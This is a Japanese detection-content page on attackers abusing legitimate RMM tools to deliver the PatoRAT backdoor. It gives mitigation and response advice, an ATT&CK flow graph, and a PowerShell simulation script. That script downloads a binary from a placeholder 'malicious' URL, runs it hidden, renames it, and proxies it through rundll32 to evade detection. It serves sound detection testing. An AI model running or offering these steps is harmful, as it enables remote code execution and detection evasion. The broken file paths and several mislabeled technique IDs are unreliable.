最近のRMM配布事例におけるエンドポイント検出
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
脅威アクターは、LogMeIn、PDQ Connect、Syncro、ScreenConnect、NinjaOne、SuperOpsなどの正当なリモートモニタリングおよび管理(RMM)ツールを悪用して、マルウェアを配布し、持続的なリモートアクセスを確立するケースが増加しています。最初の配信は、悪意のあるダウンロードページやフィッシングメールを通じて行われ、その後PowerShellを利用した実行と、PatoRATバックドアのような二次ペイロードの展開が行われます。AhnLab EDRは、これらのRMMユーティリティの実行を検出し、疑わしいフォローオン活動に基づく警告を生成できます。このレポートは、ソフトウェアの出所を検証し、エンドポイントを継続的に監視することの重要性を強調しています。
調査
AhnLab Security Intelligence Centerは、攻撃者がRMMインストーラを人気のアプリケーション(たとえば、Notepad++、7-Zip、Telegram)として再パッケージ化または偽装して、悪意のあるウェブサイトやフィッシング添付ファイルを通じて配信する複数のキャンペーンを観察しました。インストール後、RMMエージェントはベンダーインフラストラクチャに登録され、その後PowerShellペイロードを実行してPatoRATをドロップしました。SyncroをフィッシングでPDFを誘導する手法など、いくつかのRMM製品に類似した手法が見られました。AhnLab EDRの検出ロジックは、これらの正当なバイナリの実行をフラグし、インストール後の行動と関連付けるように開発されました。
緩和策
ダウンロードソースを検証し、コード署名証明書を検証し、正式なベンダーリリースとハッシュを比較することで、環境内でのRMMソフトウェアの許可を行う前に確認を行います。アプリケーションの許可リストを強制し、RMMの実行には明示的な承認を必要とします。不意なRMMバイナリの起動、異常なPowerShell活動、ベンダーインフラストラクチャドメインへの不審な接続を監視し、これらのツールが許可されていない場合には気をつけてください。オペレーティングシステムとセキュリティツールを更新し続け、脆弱性を低減します。
対応策
疑わしいRMMの実行が検出された場合、ホストを隔離し、フォレンジックアーティファクトを収集し、許可されていないバイナリを削除します。ツールのインフラストラクチャへのアウトバウンド接続をブロックし、リモート制御チャネルを切断し、PatoRATのような二次ペイロードの完全スキャンを実施します。観測されたIOCで検出コンテンツを更新し、迅速なトリアージのためにキャンペーンパターンについてSOCをブリーフィングします。
“graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef malware fill:#f9d5e5 %% Nodes node_initial_access[“<b>アクション</b> – <b>T1204 ユーザー実行</b>: 被害者が合法的なソフトウェアに偽装されたRMMインストーラをダウンロードするか、フィッシングPDF請求書を開くことで悪意のあるリンクにリダイレクトされます。”] class node_initial_access action node_masquerading[“<b>技術</b> – <b>T1036.008 偽装</b>: インストーラとPDFは信頼できるユーティリティや文書のように偽装されています。”] class node_masquerading technique node_rmt_install[“<b>ツール</b> – <b>名前</b>: LogMeIn Resolve、PDQ Connect、Syncro、ScreenConnect、NinjaOne、SuperOpsなどのリモートアクセスツール。”] class node_rmt_install tool node_powerShell[“<b>技術</b> – <b>T1059.001 PowerShell</b>: 攻撃者はRMMプラットフォームを介してPowerShellコマンドを実行し、PatoRATバックドアをダウンロードしてインストールします。”] class node_powerShell technique node_patoRAT[“<b>マルウェア</b> – <b>名前</b>: PatoRATバックドア。”] class node_patoRAT malware node_software_deployment[“<b>技術</b> – <b>T1072 ソフトウェア配備ツール</b>: RMMソリューションを利用して、追加の悪意のあるペイロードを押し込み、持続性を維持しています。”] class node_software_deployment technique node_lateral_exploit[“<b>技術</b> – <b>T1210 リモートサービスの悪用</b>: 侵害されたRMMツールを使用してリモートセッションを開き、環境を横断します。”] class node_lateral_exploit technique node_rdp_hijack[“<b>技術</b> – <b>T1563.002 リモートサービスセッションのハイジャック</b>: RDPハイジャックを行い、追加のホストの制御を得ます。”] class node_rdp_hijack technique node_root_cert[“<b>技術</b> – <b>T1553.004 ルート証明書のインストール</b>: PowerShellコマンドは、セキュリティ制御を回避するために悪意のあるルート証明書をインストールします。”] class node_root_cert technique %% Connections node_initial_access u002du002d>|leads to| node_masquerading node_masquerading u002du002d>|leads to| node_rmt_install node_rmt_install u002du002d>|uses| node_powerShell node_powerShell u002du002d>|installs| node_patoRAT node_patoRAT u002du002d>|enables| node_software_deployment node_software_deployment u002du002d>|facilitates| node_lateral_exploit node_lateral_exploit u002du002d>|enables| node_rdp_hijack node_powerShell u002du002d>|executes| node_root_cert “
攻撃フロー
シミュレーション実行
前提条件: テレメトリおよびベースラインのプリフライトチェックが通過していること。
根拠: このセクションでは、検出ルールをトリガーするように設計された敵対者の技法(TTP)の正確な実行を詳細に説明します。コマンドと記述は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としたものでなければなりません。抽象化されたり無関係な例を使用すると、誤診につながります。
-
攻撃の説明 & コマンド:
攻撃者は悪意のある添付ファイルを含むフィッシングメールを配信します。添付ファイルはPowerShellスクリプトを実行し、RMMバイナリをダウンロードしますLogMeIn.exetoC:Temp。名前ベースの検出を回避するために、攻撃者はバイナリをtool.exeにリネームし、rundll32.exe(T1216)を介して実行します。その後、RMMバイナリは攻撃者が制御するC2サーバに接続し、バックドアペイロードをドロップします。実行後、攻撃者は証拠を隠すためにバイナリを削除します(T1542.004)。 -
回帰テストスクリプト:
# --------------------------------------------------------------- # RMMツールの悪用をシミュレート(元の名前) – トリガーされるはず # --------------------------------------------------------------- $rmmPath = "C:TempLogMeIn.exe" Invoke-WebRequest -Uri "https://example.com/malicious/LogMeIn.exe" -OutFile $rmmPath Write-Host "[*] 元のRMMバイナリを実行中(警告を期待)..." Start-Process -FilePath $rmmPath -WindowStyle Hidden Start-Sleep -Seconds 10 # --------------------------------------------------------------- # リネームとプロキシ実行による回避をシミュレート – トリガーされないはず # --------------------------------------------------------------- $evasionPath = "C:Temptool.exe" Rename-Item -Path $rmmPath -NewName "tool.exe" Write-Host "[*] rundll32を介して名前変更されたRMMバイナリを実行中(回避)..." $rundll = "$env:SystemRootSystem32rundll32.exe" Start-Process -FilePath $rundll -ArgumentList "`"$evasionPath`",#1" -WindowStyle Hidden Start-Sleep -Seconds 10 # --------------------------------------------------------------- # アーティファクトのクリーンアップ # --------------------------------------------------------------- Write-Host "[*] バイナリをクリーンアップ中..." Remove-Item -Path $evasionPath -Force -ErrorAction SilentlyContinue Write-Host "[*] シミュレーション完了。" -
クリーンアップコマンド:
# 残ったプロセスがあれば終了させる Get-Process -Name "LogMeIn","tool" -ErrorAction SilentlyContinue | Stop-Process -Force # ダウンロードされたファイルを削除(まだ存在する場合) Remove-Item -Path "C:TempLogMeIn.exe","C:Temptool.exe" -Force -ErrorAction SilentlyContinue